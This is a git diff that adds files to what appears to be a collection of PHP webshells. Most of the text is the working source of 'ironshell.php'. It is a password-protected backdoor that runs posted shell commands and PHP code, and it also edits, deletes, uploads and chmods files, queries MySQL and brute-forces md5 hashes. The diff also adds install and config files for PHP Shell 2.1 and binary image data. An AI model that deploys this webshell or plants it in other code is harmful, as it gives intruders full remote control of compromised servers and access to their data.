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 literal 0 HcmV?d00001 diff --git a/php/PHPshell/【ironshell】/ironshell.php b/php/PHPshell/【ironshell】/ironshell.php new file mode 100644 index 0000000..b6931f1 --- /dev/null +++ b/php/PHPshell/【ironshell】/ironshell.php @@ -0,0 +1,588 @@ +<?php +error_reporting(0); //If there is an error, we'll show it, k? + +$password = "login"; // You can put a md5 string here too, for plaintext passwords: max 31 chars. + +$me = basename(__FILE__); +$cookiename = "wieeeee"; + + +if(isset($_POST['pass'])) //If the user made a login attempt, "pass" will be set eh? +{ + + if(strlen($password) == 32) //If the length of the password is 32 characters, threat it as an md5. + { + $_POST['pass'] = md5($_POST['pass']); + } + + if($_POST['pass'] == $password) + { + setcookie($cookiename, $_POST['pass'], time()+3600); //It's alright, let hem in + } + reload(); +} + + + +if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password)) +{ + login(); + die(); +} +// +//Do not cross this line! All code placed after this block can't be executed without being logged in! +// + +if(isset($_GET['p']) && $_GET['p'] == "logout") +{ +setcookie ($cookiename, "", time() - 3600); +reload(); +} +if(isset($_GET['dir'])) +{ + chdir($_GET['dir']); +} + + +$pages = array( + 'cmd' => 'Execute Command', + 'eval' => 'Evaluate PHP', + 'mysql' => 'MySQL Query', + 'chmod' => 'Chmod File', + 'phpinfo' => 'PHPinfo', + 'md5' => 'md5 cracker', + 'headers' => 'Show headers', + 'logout' => 'Log out' +); + +//The header, like it? +$header = '<html> +<title>'.getenv("HTTP_HOST").' ~ Shell I</title> +<head> +<style> +td { + font-size: 12px; + font-family: verdana; + color: #33FF00; + background: #000000; +} + +#d { + background: #003000; +} +#f { + background: #003300; +} +#s { + background: #006300; +} +#d:hover +{ + background: #003300; +} +#f:hover +{ + background: #003000; +} +pre { + font-size: 10px; + font-family: verdana; + color: #33FF00; +} +a:hover { +text-decoration: none; +} + + +input,textarea,select { + border-top-width: 1px; + font-weight: bold; + border-left-width: 1px; + font-size: 10px; + border-left-color: #33FF00; + background: #000000; + border-bottom-width: 1px; + border-bottom-color: #33FF00; + color: #33FF00; + border-top-color: #33FF00; + font-family: verdana; + border-right-width: 1px; + border-right-color: #33FF00; +} + +hr { +color: #33FF00; +background-color: #33FF00; +height: 5px; +} + +</style> + +</head> +<body bgcolor=black alink="#33CC00" vlink="#339900" link="#339900"> +<table width=100%><td id="header" width=100%> +<p align=right><b>[<a href="http://www.rootshell-team.info">RootShell</a>] [<a href="'.$me.'">Home</a>] '; + +foreach($pages as $page => $page_name) +{ + $header .= ' [<a href="?p='.$page.'&dir='.realpath('.').'">'.$page_name.'</a>] '; + +} +$header .= '<br><hr>'.show_dirs('.').'</td><tr><td>'; +print $header; + +$footer = '<tr><td><hr><center>&copy; <a href="http://www.ironwarez.info">Iron</a> & <a href="http://www.rootshell-team.info">RootShell Security Group</a></center></td></table></body></head></html>'; + + +// +//Page handling +// +if(isset($_REQUEST['p'])) +{ + switch ($_REQUEST['p']) { + + case 'cmd': //Run command + + print "<form action=\"".$me."?p=cmd&dir=".realpath('.')."\" method=POST><b>Command:</b><input type=text name=command><input type=submit value=\"Execute\"></form>"; + if(isset($_REQUEST['command'])) + { + print "<pre>"; + execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that? + } + break; + + + case 'edit': //Edit a fie + if(isset($_POST['editform'])) + { + $f = $_GET['file']; + $fh = fopen($f, 'w') or print "Error while opening file!"; + fwrite($fh, $_POST['editform']) or print "Couldn't save file!"; + fclose($fh); + } + print "Editing file <b>".$_GET['file']."</b> (".perm($_GET['file']).")<br><br><form action=\"".$me."?p=edit&file=".$_GET['file']."&dir=".realpath('.')."\" method=POST><textarea cols=90 rows=15 name=\"editform\">"; + + if(file_exists($_GET['file'])) + { + $rd = file($_GET['file']); + foreach($rd as $l) + { + print htmlspecialchars($l); + } + } + + print "</textarea><input type=submit value=\"Save\"></form>"; + + break; + + case 'delete': //Delete a file + + if(isset($_POST['yes'])) + { + if(unlink($_GET['file'])) + { + print "File deleted successfully."; + } + else + { + print "Couldn't delete file."; + } + } + + + if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes'])) + { + print "Are you sure you want to delete ".$_GET['file']."?<br> + <form action=\"".$me."?p=delete&file=".$_GET['file']."\" method=POST> + <input type=hidden name=yes value=yes> + <input type=submit value=\"Delete\"> + "; + } + + + break; + + + case 'eval': //Evaluate PHP code + + print "<form action=\"".$me."?p=eval\" method=POST> + <textarea cols=60 rows=10 name=\"eval\">"; + if(isset($_POST['eval'])) + { + print htmlspecialchars($_POST['eval']); + } + else + { + print "print \"Yo Momma\";"; + } + print "</textarea><br> + <input type=submit value=\"Eval\"> + </form>"; + + if(isset($_POST['eval'])) + { + print "<h1>Output:</h1>"; + print "<br>"; + eval($_POST['eval']); + } + + break; + + case 'chmod': //Chmod file + + + print "<h1>Under construction!</h1>"; + if(isset($_POST['chmod'])) + { + switch ($_POST['chvalue']){ + case 777: + chmod($_POST['chmod'],0777); + break; + case 644: + chmod($_POST['chmod'],0644); + break; + case 755: + chmod($_POST['chmod'],0755); + break; + } + print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue']."."; + } + if(isset($_GET['file'])) + { + $content = urldecode($_GET['file']); + } + else + { + $content = "file/path/please"; + } + + print "<form action=\"".$me."?p=chmod&file=".$content."&dir=".realpath('.')."\" method=POST><b>File to chmod: + <input type=text name=chmod value=\"".$content."\" size=70><br><b>New permission:</b> + <select name=\"chvalue\"> +<option value=\"777\">777</option> +<option value=\"644\">644</option> +<option value=\"755\">755</option> +</select><input type=submit value=\"Change\">"; + + break; + + case 'mysql': //MySQL Query + + if(isset($_POST['host'])) + { + $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error()); + mysql_select_db($_POST['dbase']); + $sql = $_POST['query']; + + + $result = mysql_query($sql); + + } + else + { + print " + This only queries the database, doesn't return data!<br> + <form action=\"".$me."?p=mysql\" method=POST> + <b>Host:<br></b><input type=text name=host value=\"localhost\" size=10><br> + <b>Username:<br><input type=text name=username value=\"root\" size=10><br> + <b>Password:<br></b><input type=password name=mysqlpass value=\"\" size=10><br> + <b>Database:<br><input type=text name=dbase value=\"test\" size=10><br> + + <b>Query:<br></b<textarea name=query></textarea> + <input type=submit value=\"Query database\"> + </form> + "; + + } + + break; + + case 'createdir': + if(mkdir($_GET['crdir'])) + { + print 'Directory created successfully.'; + } + else + { + print 'Couldn\'t create directory'; + } + break; + + + case 'phpinfo': //PHP Info + phpinfo(); + break; + + + case 'rename': + + if(isset($_POST['fileold'])) + { + if(rename($_POST['fileold'],$_POST['filenew'])) + { + print "File renamed."; + } + else + { + print "Couldn't rename file."; + } + + } + if(isset($_GET['file'])) + { + $file = basename(htmlspecialchars($_GET['file'])); + } + else + { + $file = ""; + } + + print "Renaming ".$file." in folder ".realpath('.').".<br> + <form action=\"".$me."?p=rename&dir=".realpath('.')."\" method=POST> + <b>Rename:<br></b><input type=text name=fileold value=\"".$file."\" size=70><br> + <b>To:<br><input type=text name=filenew value=\"\" size=10><br> + <input type=submit value=\"Rename file\"> + </form>"; + break; + + case 'md5': + if(isset($_POST['md5'])) + { + if(!is_numeric($_POST['timelimit'])) + { + $_POST['timelimit'] = 30; + } + set_time_limit($_POST['timelimit']); + if(strlen($_POST['md5']) == 32) + { + + if($_POST['chars'] == "9999") + { + $i = 0; + while($_POST['md5'] != md5($i) && $i != 100000) + { + $i++; + } + } + else + { + for($i = "a"; $i != "zzzzz"; $i++) + { + if(md5($i == $_POST['md5'])) + { + break; + } + } + } + + + if(md5($i) == $_POST['md5']) + { + print "<h1>Plaintext of ". $_POST['md5']. " is <i>".$i."</i></h1><br><br>"; + } + + } + + } + + print "Will bruteforce the md5 + <form action=\"".$me."?p=md5\" method=POST> + <b>md5 to crack:<br></b><input type=text name=md5 value=\"\" size=40><br> + <b>Characters:</b><br><select name=\"chars\"> + <option value=\"az\">a - zzzzz</option> + <option value=\"9999\">1 - 9999999</option> + </select> + <b>Max. cracking time*:<br></b><input type=text name=timelimit value=\"30\" size=2><br> + <input type=submit value=\"Bruteforce md5\"> + </form><br>*: if set_time_limit is allowed by php.ini"; + break; + + case 'headers': + foreach(getallheaders() as $header => $value) + { + print htmlspecialchars($header . ":" . $value)."<br>"; + + } + break; + } + +} +else //Default page that will be shown when the page isn't found or no page is selected. +{ + + $files = array(); + $directories = array(); + + if(isset($_FILES['uploadedfile']['name'])) +{ + $target_path = realpath('.').'/'; + $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); + + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + print "File:". basename( $_FILES['uploadedfile']['name']). + " has been uploaded"; + } else{ + echo "File upload failed!"; + } +} + + + + + + print "<table border=0 width=100%><td width=5% id=s><b>Options</b></td><td id=s><b>Filename</b></td><td id=s><b>Size</b></td><td id=s><b>Permissions</b></td><td id=s>Last modified</td><tr>"; + if ($handle = opendir('.')) + { + while (false !== ($file = readdir($handle))) + { + if(is_dir($file)) + { + $directories[] = $file; + } + else + { + $files[] = $file; + } + } + asort($directories); + asort($files); + foreach($directories as $file) + { + print "<td id=d><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=d><a href=\"".$me."?dir=".realpath($file)."\">".$file."</a></td><td id=d></td><td id=d><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=d>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>"; + } + + foreach($files as $file) + { + print "<td id=f><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=f><a href=\"".$me."?p=edit&dir=".realpath('.')."&file=".realpath($file)."\">".$file."</a></td><td id=f>".filesize($file)."</td><td id=f><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=f>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>"; + } + } + else + { + print "<u>Error!</u> Can't open <b>".realpath('.')."</b>!<br>"; + } + + print "</table><hr><table border=0 width=100%><td><b>Upload file</b><br><form enctype=\"multipart/form-data\" action=\"".$me."?dir=".realpath('.')."\" method=\"POST\"> +<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input size=30 name=\"uploadedfile\" type=\"file\" /> +<input type=\"submit\" value=\"Upload File\" /> +</form></td><td><form action=\"".$me."\" method=GET><b>Change Directory<br></b><input type=text size=40 name=dir value=\"".realpath('.')."\"><input type=submit value=\"Change Directory\"></form></td> +<tr><td><form action=\"".$me."\" method=GET><b>Create file<br></b><input type=hidden name=dir value=\"".realpath('.')."\"><input type=text size=40 name=file value=\"".realpath('.')."\"><input type=hidden name=p value=edit><input type=submit value=\"Create file\"></form> +</td><td><form action=\"".$me."\" method=GET><b>Create directory<br></b><input type=text size=40 name=crdir value=\"".realpath('.')."\"><input type=hidden name=dir value=\"".realpath('.')."\"><input type=hidden name=p value=createdir><input type=submit value=\"Create directory\"></form></td> +</table>"; + + +} + + +function login() +{ + print "<table border=0 width=100% height=100%><td valign=\"middle\"><center> + <form action=".basename(__FILE__)." method=\"POST\"><b>Password?</b> + <input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=\"submit\" value=\"Login\"> + </form>"; +} +function reload() +{ + header("Location: ".basename(__FILE__)); +} + +function get_execution_method() +{ + if(function_exists('passthru')){ $m = "passthru"; } + if(function_exists('exec')){ $m = "exec"; } + if(function_exists('shell_exec')){ $m = "shell_ exec"; } + if(function_exists('system')){ $m = "system"; } + if(!isset($m)) //No method found :-| + { + $m = "Disabled"; + } + return($m); +} + +function execute_command($method,$command) +{ + if($method == "passthru") + { + passthru($command); + } + + elseif($method == "exec") + { + exec($command,$result); + foreach($result as $output) + { + print $output."<br>"; + } + } + + elseif($method == "shell_exec") + { + print shell_exec($command); + } + + elseif($method == "system") + { + system($command); + } + +} + +function perm($file) +{ + if(file_exists($file)) + { + return substr(sprintf('%o', fileperms($file)), -4); + } + else + { + return "????"; + } +} + +function get_color($file) +{ +if(is_writable($file)) { return "green";} +if(!is_writable($file) && is_readable($file)) { return "white";} +if(!is_writable($file) && !is_readable($file)) { return "red";} + + + +} + +function show_dirs($where) +{ + if(ereg("^c:",realpath($where))) + { + $dirparts = explode('\\',realpath($where)); + } + else + { + $dirparts = explode('/',realpath($where)); + } + + + + $i = 0; + $total = ""; + + foreach($dirparts as $part) + { + $p = 0; + $pre = ""; + while($p != $i) + { + $pre .= $dirparts[$p]."/"; + $p++; + + } + $total .= "<a href=\"".basename(__FILE__)."?dir=".$pre.$part."\">".$part."</a>/"; + $i++; + } + + return "<h2>".$total."</h2><br>"; + +} +print $footer; + +// Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-) +exit(); +?> diff --git a/php/PHPshell/【ironshell】/密码.txt b/php/PHPshell/【ironshell】/密码.txt new file mode 100644 index 0000000..dbd0336 --- /dev/null +++ b/php/PHPshell/【ironshell】/密码.txt @@ -0,0 +1,5 @@ +login + +ע:ͬȨļòͬɫֳ + + :777 750 730 \ No newline at end of file diff --git a/php/PHPshell/【phpshell-2.1】/INSTALL b/php/PHPshell/【phpshell-2.1】/INSTALL new file mode 100644 index 0000000..28eac98 --- /dev/null +++ b/php/PHPshell/【phpshell-2.1】/INSTALL @@ -0,0 +1,96 @@ +INSTALL file for PHP Shell 2.1 +Copyright (C) 2000-2005 Martin Geisler <mgeisler@mgeisler.net> +Licensed under the GNU GPL. See the file COPYING for details. + + +Downloading PHP Shell +===================== + +You can always get the latest version of PHP Shell from my homepage: + + http://mgeisler.net/php-shell/ + + + +Installation +============ + +Installation is easy: first unpack the tarball or zipfile downloaded from the +above website into your webserver. This will create a subdirectory called +phpweather-2.1 for PHP Shell version 2.1. + +Try loading the file ``phpshell.php`` in your browser and check that you are +served a page that asks you to authenticate yourself with a username and a +password. If you do not see such a page, then please check that you have +entered the URL correctly and that PHP is working on your server. + + + +Configuration +============= + +All configuration happens in the ``config.php`` file. This is an ini-file +dispite its name. Ini-files consist of a number of sections, each containing +a number of 'key = "value"' pairs. PHP Shell has tree sections: '[users]' for +configuring usernames and passwords, '[aliases]' for configuring shell +aliases, and '[settings]' for general settings. + + +Setting Usernames and Passwords +------------------------------- + +As a security precaution PHP Shell has no default username and password +(people often forget to change them...). To add the user "alice" with +password "secret" you simply add + + [users] + alice = "secret" + +to the file. Note that you can add as many users as you want by simply adding +more lines like this. + +This system works, but there is a better way --- a way so that the password +does not appear in clear text in the file. For that you use the supplied +script ``pwhash.php`` to generate a hashed password. Please see the +instructions given in ``pwhash.php``. + +With the above example the result could look like + + [users] + alice = "md5:7ea3b59e:eb271c4459253eaa163fcac2a119f225" + +You will not get exactly the same line if you try it out, this is a feature of +the system which means that both "alice" and "bob" could have "secret" as +their password, and you would not be able to tell from just looking at +``config.php``. + + +Shell Aliases +------------- + +As in a normal shell, PHP Shell supports alias expansion, albeit in a simple +form. Aliases are defined by 'key = "value"' pairs in the '[aliases]' +section. The "key" will be matched against the first token of the command +line and substituted with the "value" given. + +Two convenient aliases are already defined: + + [aliases] + ls = "ls -CvhF" + ll = "ls -lvhF" + + +General Settings +---------------- + +PHP has just one other setting right now --- the home directory. Change this +in the '[settings]' section. + + + +Bugs? Comments? +================ + +If you find a bug or miss something in PHP Shell, please don't hesitate to +mail me at <mgeisler@mgeisler.net>! Or you could drop by and leave a comment +at http://mgeisler.net/php-shell/. diff --git a/php/PHPshell/【phpshell-2.1】/config.php b/php/PHPshell/【phpshell-2.1】/config.php new file mode 100644 index 0000000..32ffc88 --- /dev/null +++ b/php/PHPshell/【phpshell-2.1】/config.php @@ -0,0 +1,54 @@ +; <?php die('Forbidden'); ?> +; Do not remove the above line, it prevents this file from being downloaded. +; +; config.php file for PHP Shell 2.1 +; Copyright (C) 2005 Martin Geisler <mgeisler@mgeisler.net> +; Licensed under the GNU GPL. See the file COPYING for details. + +; This ini-file has three parts: +; +; * [users] where you add usernames and passwords to give users access to PHP +; Shell. +; +; * [aliases] where you can configure shell aliases. +; +; * [settings] where general settings are placed. + + +[users] + +; The default configuration has no users defined, you have to add your own +; (choose good passwords!). Add uses as simple 'username = "password"' lines. +; Please quote your password using double-quotes as shown. The semi-colon ':' +; is a reserved character, so do *not* use that in your passwords. +; +; For improved security it is *strongly suggested* that you the pwhash.php +; script to generate a hashed password and store that instead of the normal +; clear text password. Keeping your passwords in hashed form ensures that +; they cannot be found, even if this file is disclosed. The passwords are +; still visible in clear text during the login, though. Please follow the +; instructions given in pwhash.php. + +alice = "secret" + +[aliases] + +; Alias expansion. Change the two examples as needed and add your own +; favorites --- feel free to suggest more defaults! The command line you +; enter will only be expanded on the very first token and only once, so having +; 'ls' expand into 'ls -CvhF' does not cause an infinite recursion. + +ls = "ls -CvhF" +ll = "ls -lvhF" + + + +[settings] + +; General settings for PHP Shell. + +; Home directory. PHP Shell will change to this directory upon startup and +; whenever a bare 'cd' command is given. This can be an absolute path or a +; path relative to the PHP Shell installation directory. + +home-directory = "." diff --git a/php/PHPshell/【phpshell-2.1】/phpshell3.jpg b/php/PHPshell/【phpshell-2.1】/phpshell3.jpg new file mode 100644 index 0000000000000000000000000000000000000000..5e6fe49941caf5fe35e27bef2cd3894dbc521f01 GIT binary patch literal 31931 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 